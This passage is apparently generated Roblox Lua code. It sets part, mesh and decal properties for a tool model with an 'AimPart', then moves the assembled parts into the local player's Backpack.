- Part184.Reflectance = 0.20000000298023
- Part184.Rotation = Vector3.new(-180, 0, 90)
- Part184.Anchored = true
- Part184.FormFactor = Enum.FormFactor.Custom
- Part184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part184.CFrame = CFrame.new(34.5296631, 1.67563403, -9.39257813, 0, -0.999998391, 0, -0.999999166, -0, 2.98023224e-08, 1.49011612e-08, -0, -0.999998927)
- Part184.BottomSurface = Enum.SurfaceType.Smooth
- Part184.TopSurface = Enum.SurfaceType.Smooth
- Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part184.Position = Vector3.new(34.5296631, 1.67563403, -9.39257813)
- Part184.Orientation = Vector3.new(0, 180, -90)
- Part184.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh185.Parent = Part184
- SpecialMesh185.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
- SpecialMesh185.MeshType = Enum.MeshType.Wedge
- SpecialMesh185.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
- Part186.Parent = Tool0
- Part186.Material = Enum.Material.SmoothPlastic
- Part186.BrickColor = BrickColor.new("Black")
- Part186.Transparency = 0.69999998807907
- Part186.Rotation = Vector3.new(-90, 0, 0)
- Part186.Anchored = true
- Part186.FormFactor = Enum.FormFactor.Custom
- Part186.Size = Vector3.new(0.229629576, 0.200000003, 0.244444489)
- Part186.CFrame = CFrame.new(34.4963379, 1.87192404, -11.0073795, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part186.BottomSurface = Enum.SurfaceType.Smooth
- Part186.TopSurface = Enum.SurfaceType.Smooth
- Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part186.Position = Vector3.new(34.4963379, 1.87192404, -11.0073795)
- Part186.Orientation = Vector3.new(-90, 0, 0)
- Part186.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal187.Parent = Part186
- Decal187.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal187.Face = Enum.NormalId.Bottom
- Decal188.Parent = Part186
- Decal188.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal188.Face = Enum.NormalId.Bottom
- Decal189.Parent = Part186
- Decal189.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal189.Face = Enum.NormalId.Bottom
- Decal190.Parent = Part186
- Decal190.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal190.Face = Enum.NormalId.Bottom
- Decal191.Parent = Part186
- Decal191.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal191.Face = Enum.NormalId.Bottom
- Decal192.Parent = Part186
- Decal192.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal192.Face = Enum.NormalId.Bottom
- Decal193.Parent = Part186
- Decal193.Texture = "http://www.roblox.com/asset/?id=145867456"
- Decal193.Face = Enum.NormalId.Bottom
- CylinderMesh194.Parent = Part186
- CylinderMesh194.Scale = Vector3.new(1, 0.222222224, 1)
- CylinderMesh194.Scale = Vector3.new(1, 0.222222224, 1)
- Part195.Parent = Tool0
- Part195.Material = Enum.Material.SmoothPlastic
- Part195.BrickColor = BrickColor.new("Black")
- Part195.Reflectance = 0.20000000298023
- Part195.Rotation = Vector3.new(180, 0, -180)
- Part195.Anchored = true
- Part195.FormFactor = Enum.FormFactor.Custom
- Part195.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part195.CFrame = CFrame.new(34.4963379, 1.67563403, -11.859252, -1, 0, -4.37113883e-08, 0, 1, -0, 4.37113883e-08, 0, -1)
- Part195.BottomSurface = Enum.SurfaceType.Smooth
- Part195.TopSurface = Enum.SurfaceType.Smooth
- Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part195.Position = Vector3.new(34.4963379, 1.67563403, -11.859252)
- Part195.Orientation = Vector3.new(0, -180, 0)
- Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh196.Parent = Part195
- SpecialMesh196.Scale = Vector3.new(0.481481612, 0.370366931, 0.666666448)
- SpecialMesh196.MeshType = Enum.MeshType.Wedge
- SpecialMesh196.Scale = Vector3.new(0.481481612, 0.370366931, 0.666666448)
- Part197.Parent = Tool0
- Part197.Material = Enum.Material.SmoothPlastic
- Part197.BrickColor = BrickColor.new("Black")
- Part197.Transparency = 0.69999998807907
- Part197.Rotation = Vector3.new(-90, 0, 0)
- Part197.Anchored = true
- Part197.FormFactor = Enum.FormFactor.Custom
- Part197.Size = Vector3.new(0.229629576, 0.200000003, 0.244444489)
- Part197.CFrame = CFrame.new(34.4963379, 1.87192404, -11.5481558, 1, 0, -0, 0, 0, 1, 0, -1, 0)
- Part197.BottomSurface = Enum.SurfaceType.Smooth
- Part197.TopSurface = Enum.SurfaceType.Smooth
- Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part197.Position = Vector3.new(34.4963379, 1.87192404, -11.5481558)
- Part197.Orientation = Vector3.new(-90, 0, 0)
- Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh198.Parent = Part197
- CylinderMesh198.Scale = Vector3.new(1, 0.222222224, 1)
- CylinderMesh198.Scale = Vector3.new(1, 0.222222224, 1)
- Part199.Parent = Tool0
- Part199.Material = Enum.Material.SmoothPlastic
- Part199.BrickColor = BrickColor.new("Black")
- Part199.Anchored = true
- Part199.FormFactor = Enum.FormFactor.Custom
- Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.237036973)
- Part199.CFrame = CFrame.new(34.4963379, 1.70151401, -11.2962637, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part199.BottomSurface = Enum.SurfaceType.Smooth
- Part199.TopSurface = Enum.SurfaceType.Smooth
- Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part199.Position = Vector3.new(34.4963379, 1.70151401, -11.2962637)
- Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh200.Parent = Part199
- BlockMesh200.Scale = Vector3.new(0.481481373, 0.407407463, 1)
- BlockMesh200.Scale = Vector3.new(0.481481373, 0.407407463, 1)
- Part201.Parent = Tool0
- Part201.Material = Enum.Material.SmoothPlastic
- Part201.BrickColor = BrickColor.new("Black")
- Part201.Rotation = Vector3.new(0, -90, 0)
- Part201.Anchored = true
- Part201.FormFactor = Enum.FormFactor.Custom
- Part201.Size = Vector3.new(3.39259171, 0.200000003, 0.200000003)
- Part201.CFrame = CFrame.new(34.581543, 1.55698204, -10.6962881, 0, 0, -1, 0, 1, 0, 1, 0, 4.37113883e-08)
- Part201.BottomSurface = Enum.SurfaceType.Smooth
- Part201.TopSurface = Enum.SurfaceType.Smooth
- Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part201.Position = Vector3.new(34.581543, 1.55698204, -10.6962881)
- Part201.Orientation = Vector3.new(0, -90, 0)
- Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh202.Parent = Part201
- SpecialMesh202.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- SpecialMesh202.MeshType = Enum.MeshType.Wedge
- SpecialMesh202.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- Part203.Parent = Tool0
- Part203.Material = Enum.Material.SmoothPlastic
- Part203.BrickColor = BrickColor.new("Really black")
- Part203.Reflectance = 0.20000000298023
- Part203.Anchored = true
- Part203.FormFactor = Enum.FormFactor.Custom
- Part203.Size = Vector3.new(0.207407534, 0.200000003, 0.985189319)
- Part203.CFrame = CFrame.new(34.5, 1.23105395, -10.3740845, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part203.BottomSurface = Enum.SurfaceType.Smooth
- Part203.TopSurface = Enum.SurfaceType.Smooth
- Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part203.Position = Vector3.new(34.5, 1.23105395, -10.3740845)
- Part203.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh204.Parent = Part203
- BlockMesh204.Scale = Vector3.new(1, 0.370369822, 1)
- BlockMesh204.Scale = Vector3.new(1, 0.370369822, 1)
- Part205.Parent = Tool0
- Part205.Material = Enum.Material.SmoothPlastic
- Part205.BrickColor = BrickColor.new("Black")
- Part205.Reflectance = 0.20000000298023
- Part205.Anchored = true
- Part205.FormFactor = Enum.FormFactor.Custom
- Part205.Size = Vector3.new(0.207407534, 0.348147959, 0.200000003)
- Part205.CFrame = CFrame.new(34.5, 1.44223595, -12.4814396, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part205.BottomSurface = Enum.SurfaceType.Smooth
- Part205.TopSurface = Enum.SurfaceType.Smooth
- Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part205.Position = Vector3.new(34.5, 1.44223595, -12.4814396)
- Part205.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh206.Parent = Part205
- BlockMesh206.Scale = Vector3.new(1, 1, 0.888907433)
- BlockMesh206.Scale = Vector3.new(1, 1, 0.888907433)
- Part207.Parent = Tool0
- Part207.Material = Enum.Material.SmoothPlastic
- Part207.BrickColor = BrickColor.new("Black")
- Part207.Anchored = true
- Part207.FormFactor = Enum.FormFactor.Custom
- Part207.Size = Vector3.new(0.200000003, 0.237036958, 1.42222607)
- Part207.CFrame = CFrame.new(34.5, 1.38681805, -11.6814585, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part207.BottomSurface = Enum.SurfaceType.Smooth
- Part207.TopSurface = Enum.SurfaceType.Smooth
- Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part207.Position = Vector3.new(34.5, 1.38681805, -11.6814585)
- Part207.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh208.Parent = Part207
- BlockMesh208.Scale = Vector3.new(0.962963641, 1, 1)
- BlockMesh208.Scale = Vector3.new(0.962963641, 1, 1)
- Part209.Parent = Tool0
- Part209.Material = Enum.Material.SmoothPlastic
- Part209.BrickColor = BrickColor.new("Black")
- Part209.Reflectance = 0.20000000298023
- Part209.Rotation = Vector3.new(0, 0, 90)
- Part209.Anchored = true
- Part209.FormFactor = Enum.FormFactor.Custom
- Part209.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part209.CFrame = CFrame.new(34.4333496, 1.67563403, -9.38519192, 0, -1, 0, 0.999999762, -0, 1.49011612e-08, -1.49011612e-08, -0, 0.999999762)
- Part209.BottomSurface = Enum.SurfaceType.Smooth
- Part209.TopSurface = Enum.SurfaceType.Smooth
- Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part209.Position = Vector3.new(34.4333496, 1.67563403, -9.38519192)
- Part209.Orientation = Vector3.new(0, 0, 90)
- Part209.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh210.Parent = Part209
- SpecialMesh210.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- SpecialMesh210.MeshType = Enum.MeshType.Wedge
- SpecialMesh210.Scale = Vector3.new(0.370370418, 0.0740706027, 0.148147851)
- Part211.Parent = Tool0
- Part211.Material = Enum.Material.SmoothPlastic
- Part211.BrickColor = BrickColor.new("Black")
- Part211.Reflectance = 0.20000000298023
- Part211.Anchored = true
- Part211.FormFactor = Enum.FormFactor.Custom
- Part211.Size = Vector3.new(0.200000003, 0.200000003, 0.281485498)
- Part211.CFrame = CFrame.new(34.5999756, 1.40903294, -10.8222036, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part211.BottomSurface = Enum.SurfaceType.Smooth
- Part211.TopSurface = Enum.SurfaceType.Smooth
- Part211.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part211.Position = Vector3.new(34.5999756, 1.40903294, -10.8222036)
- Part211.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh212.Parent = Part211
- BlockMesh212.Scale = Vector3.new(0.0370370373, 0.148148, 1)
- BlockMesh212.Scale = Vector3.new(0.0370370373, 0.148148, 1)
- Part213.Parent = Tool0
- Part213.Material = Enum.Material.SmoothPlastic
- Part213.BrickColor = BrickColor.new("Black")
- Part213.Anchored = true
- Part213.FormFactor = Enum.FormFactor.Custom
- Part213.Size = Vector3.new(0.200000003, 0.200000003, 3.2444489)
- Part213.CFrame = CFrame.new(34.4963379, 1.63119996, -10.6221924, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part213.BottomSurface = Enum.SurfaceType.Smooth
- Part213.TopSurface = Enum.SurfaceType.Smooth
- Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part213.Position = Vector3.new(34.4963379, 1.63119996, -10.6221924)
- Part213.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh214.Parent = Part213
- BlockMesh214.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
- BlockMesh214.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
- Part215.Parent = Tool0
- Part215.Material = Enum.Material.SmoothPlastic
- Part215.BrickColor = BrickColor.new("Black")
- Part215.Reflectance = 0.20000000298023
- Part215.Rotation = Vector3.new(180, 0, 90)
- Part215.Anchored = true
- Part215.FormFactor = Enum.FormFactor.Custom
- Part215.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part215.CFrame = CFrame.new(34.5444336, 1.67563403, -9.37774181, -1.91068462e-15, -0.999999762, -3.55271368e-15, -0.999999523, 1.91068398e-15, -4.47034836e-08, 5.96046448e-08, -1.58818678e-22, -0.999999404)
- Part215.BottomSurface = Enum.SurfaceType.Smooth
- Part215.TopSurface = Enum.SurfaceType.Smooth
- Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part215.Position = Vector3.new(34.5444336, 1.67563403, -9.37774181)
- Part215.Orientation = Vector3.new(0, -180, -90)
- Part215.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh216.Parent = Part215
- SpecialMesh216.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- SpecialMesh216.MeshType = Enum.MeshType.Wedge
- SpecialMesh216.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
- Part217.Parent = Tool0
- Part217.Material = Enum.Material.SmoothPlastic
- Part217.BrickColor = BrickColor.new("Black")
- Part217.Reflectance = 0.20000000298023
- Part217.Rotation = Vector3.new(-90, 0, 0)
- Part217.Anchored = true
- Part217.FormFactor = Enum.FormFactor.Custom
- Part217.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part217.CFrame = CFrame.new(34.5444336, 1.67563403, -9.39257813, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
- Part217.BottomSurface = Enum.SurfaceType.Smooth
- Part217.TopSurface = Enum.SurfaceType.Smooth
- Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part217.Position = Vector3.new(34.5444336, 1.67563403, -9.39257813)
- Part217.Orientation = Vector3.new(-89.9599991, 180, 180)
- Part217.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh218.Parent = Part217
- BlockMesh218.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
- BlockMesh218.Scale = Vector3.new(0.0740739629, 0.0740741044, 0.370370358)
- Part219.Parent = Tool0
- Part219.Material = Enum.Material.SmoothPlastic
- Part219.BrickColor = BrickColor.new("Black")
- Part219.Anchored = true
- Part219.FormFactor = Enum.FormFactor.Custom
- Part219.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
- Part219.CFrame = CFrame.new(34.4963379, 1.86826003, -10.9888916, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part219.BottomSurface = Enum.SurfaceType.Smooth
- Part219.TopSurface = Enum.SurfaceType.Smooth
- Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part219.Position = Vector3.new(34.4963379, 1.86826003, -10.9888916)
- Part219.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh220.Parent = Part219
- SpecialMesh220.MeshId = "http://www.roblox.com/asset/?id=3270017"
- SpecialMesh220.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
- SpecialMesh220.MeshType = Enum.MeshType.FileMesh
- SpecialMesh220.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
- Part221.Parent = Tool0
- Part221.Material = Enum.Material.SmoothPlastic
- Part221.BrickColor = BrickColor.new("Black")
- Part221.Rotation = Vector3.new(0, 90, 0)
- Part221.Anchored = true
- Part221.FormFactor = Enum.FormFactor.Custom
- Part221.Size = Vector3.new(3.39259124, 0.200000003, 0.200000003)
- Part221.CFrame = CFrame.new(34.4185791, 1.55698204, -10.6962881, -4.37113918e-08, 8.7422741e-08, 1, 7.10542736e-15, 1, -8.74227553e-08, -1, 7.10542736e-15, -4.37113918e-08)
- Part221.BottomSurface = Enum.SurfaceType.Smooth
- Part221.TopSurface = Enum.SurfaceType.Smooth
- Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part221.Position = Vector3.new(34.4185791, 1.55698204, -10.6962881)
- Part221.Orientation = Vector3.new(0, 90, 0)
- Part221.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh222.Parent = Part221
- SpecialMesh222.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- SpecialMesh222.MeshType = Enum.MeshType.Wedge
- SpecialMesh222.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- Part223.Parent = Tool0
- Part223.Material = Enum.Material.SmoothPlastic
- Part223.BrickColor = BrickColor.new("Black")
- Part223.Reflectance = 0.20000000298023
- Part223.Rotation = Vector3.new(0, 0, -180)
- Part223.Anchored = true
- Part223.FormFactor = Enum.FormFactor.Custom
- Part223.Size = Vector3.new(0.20740746, 0.200000003, 0.200000003)
- Part223.CFrame = CFrame.new(34.5, 1.06821096, -12.2999878, -1, 0, -4.37113812e-08, 3.55271368e-15, -1, 4.37113918e-08, -4.37113812e-08, 4.37113918e-08, 1)
- Part223.BottomSurface = Enum.SurfaceType.Smooth
- Part223.TopSurface = Enum.SurfaceType.Smooth
- Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part223.Position = Vector3.new(34.5, 1.06821096, -12.2999878)
- Part223.Orientation = Vector3.new(0, 0, 180)
- Part223.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh224.Parent = Part223
- SpecialMesh224.Scale = Vector3.new(1, 0.592593193, 0.555555344)
- SpecialMesh224.MeshType = Enum.MeshType.Wedge
- SpecialMesh224.Scale = Vector3.new(1, 0.592593193, 0.555555344)
- Part225.Parent = Tool0
- Part225.Material = Enum.Material.SmoothPlastic
- Part225.BrickColor = BrickColor.new("Black")
- Part225.Reflectance = 0.20000000298023
- Part225.Anchored = true
- Part225.FormFactor = Enum.FormFactor.Custom
- Part225.Size = Vector3.new(0.20740743, 0.200000003, 0.740741551)
- Part225.CFrame = CFrame.new(34.5, 1.48300803, -12.9407339, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part225.BottomSurface = Enum.SurfaceType.Smooth
- Part225.TopSurface = Enum.SurfaceType.Smooth
- Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part225.Position = Vector3.new(34.5, 1.48300803, -12.9407339)
- Part225.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh226.Parent = Part225
- BlockMesh226.Scale = Vector3.new(1, 0.77777797, 1)
- BlockMesh226.Scale = Vector3.new(1, 0.77777797, 1)
- Part227.Parent = Tool0
- Part227.Material = Enum.Material.SmoothPlastic
- Part227.BrickColor = BrickColor.new("Really black")
- Part227.Rotation = Vector3.new(180, 0, 90)
- Part227.Anchored = true
- Part227.FormFactor = Enum.FormFactor.Custom
- Part227.Size = Vector3.new(0.200000003, 0.200000003, 1.34074676)
- Part227.CFrame = CFrame.new(34.3814697, 1.42001903, -9.67034817, 0, -1, -0, -1, 0, -0, 0, 0, -1)
- Part227.BottomSurface = Enum.SurfaceType.Smooth
- Part227.TopSurface = Enum.SurfaceType.Smooth
- Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part227.Position = Vector3.new(34.3814697, 1.42001903, -9.67034817)
- Part227.Orientation = Vector3.new(0, -180, -90)
- Part227.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- BlockMesh228.Parent = Part227
- BlockMesh228.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
- BlockMesh228.Scale = Vector3.new(0.629630446, 0.0740740746, 1)
- Part229.Parent = Tool0
- Part229.Material = Enum.Material.SmoothPlastic
- Part229.BrickColor = BrickColor.new("Institutional white")
- Part229.Transparency = 0.80000001192093
- Part229.Rotation = Vector3.new(90, -90, 0)
- Part229.Anchored = true
- Part229.Size = Vector3.new(1, 1.20000005, 1)
- Part229.CFrame = CFrame.new(34.5021973, 2.04355502, -11.0737925, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part229.BottomSurface = Enum.SurfaceType.Smooth
- Part229.TopSurface = Enum.SurfaceType.Smooth
- Part229.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part229.Position = Vector3.new(34.5021973, 2.04355502, -11.0737925)
- Part229.Orientation = Vector3.new(0, -90, -90)
- Part229.Color = Color3.new(0.972549, 0.972549, 0.972549)
- CylinderMesh230.Parent = Part229
- CylinderMesh230.Scale = Vector3.new(0.148148149, 0.0370370373, 0.148148149)
- CylinderMesh230.Scale = Vector3.new(0.148148149, 0.0370370373, 0.148148149)
- Part231.Parent = Tool0
- Part231.Material = Enum.Material.SmoothPlastic
- Part231.BrickColor = BrickColor.new("Black")
- Part231.Anchored = true
- Part231.FormFactor = Enum.FormFactor.Custom
- Part231.Size = Vector3.new(0.200000003, 0.200000003, 0.474074662)
- Part231.CFrame = CFrame.new(34.5, 1.47934496, -13.1999435, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part231.BottomSurface = Enum.SurfaceType.Smooth
- Part231.TopSurface = Enum.SurfaceType.Smooth
- Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part231.Position = Vector3.new(34.5, 1.47934496, -13.1999435)
- Part231.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh232.Parent = Part231
- BlockMesh232.Scale = Vector3.new(0.814815104, 0.666666627, 1)
- BlockMesh232.Scale = Vector3.new(0.814815104, 0.666666627, 1)
- Part233.Parent = Tool0
- Part233.Material = Enum.Material.SmoothPlastic
- Part233.BrickColor = BrickColor.new("Black")
- Part233.Rotation = Vector3.new(180, 90, 0)
- Part233.Anchored = true
- Part233.FormFactor = Enum.FormFactor.Custom
- Part233.Size = Vector3.new(1.97037065, 0.200000003, 0.200000003)
- Part233.CFrame = CFrame.new(34.4185791, 1.26816404, -9.98516846, 0, 0, 1, 0, -1, 0, 1, 0, -0)
- Part233.BottomSurface = Enum.SurfaceType.Smooth
- Part233.TopSurface = Enum.SurfaceType.Smooth
- Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part233.Position = Vector3.new(34.4185791, 1.26816404, -9.98516846)
- Part233.Orientation = Vector3.new(0, 90, 180)
- Part233.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh234.Parent = Part233
- SpecialMesh234.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- SpecialMesh234.MeshType = Enum.MeshType.Wedge
- SpecialMesh234.Scale = Vector3.new(1, 0.518519938, 0.148148149)
- Part235.Parent = Tool0
- Part235.Material = Enum.Material.SmoothPlastic
- Part235.BrickColor = BrickColor.new("Black")
- Part235.Reflectance = 0.20000000298023
- Part235.Anchored = true
- Part235.FormFactor = Enum.FormFactor.Custom
- Part235.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part235.CFrame = CFrame.new(34.6148682, 1.41269505, -10.5888662, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part235.BottomSurface = Enum.SurfaceType.Smooth
- Part235.TopSurface = Enum.SurfaceType.Smooth
- Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part235.Position = Vector3.new(34.6148682, 1.41269505, -10.5888662)
- Part235.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh236.Parent = Part235
- BlockMesh236.Scale = Vector3.new(0.185185179, 0.259259105, 0.0370370373)
- BlockMesh236.Scale = Vector3.new(0.185185179, 0.259259105, 0.0370370373)
- Part237.Name = "AimPart"
- Part237.Parent = Tool0
- Part237.Material = Enum.Material.SmoothPlastic
- Part237.BrickColor = BrickColor.new("Dark stone grey")
- Part237.Reflectance = 0.20000000298023
- Part237.Transparency = 1
- Part237.Rotation = Vector3.new(180, 0, -180)
- Part237.Anchored = true
- Part237.FormFactor = Enum.FormFactor.Custom
- Part237.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part237.CFrame = CFrame.new(34.4963379, 1.87192404, -12.1814537, -0.999999702, 5.96046448e-08, -4.88548757e-08, 5.96046448e-08, 0.999999702, -5.71382657e-08, 4.8854865e-08, -1.34268845e-08, -1)
- Part237.BottomSurface = Enum.SurfaceType.Smooth
- Part237.TopSurface = Enum.SurfaceType.Smooth
- Part237.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part237.Position = Vector3.new(34.4963379, 1.87192404, -12.1814537)
- Part237.Orientation = Vector3.new(0, -180, 0)
- Part237.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh238.Parent = Part237
- BlockMesh238.Scale = Vector3.new(0.259259194, 0.185185149, 0.111111082)
- BlockMesh238.Scale = Vector3.new(0.259259194, 0.185185149, 0.111111082)
- for i,v in pairs(mas:GetChildren()) do
- v.Parent = game:GetService("Players").LocalPlayer.Backpack
- pcall(function() v:MakeJoints() end)
- end
- mas:Destroy()
- for i,v in pairs(cors) do
- spawn(function()
- pcall(v)
- end)
- end
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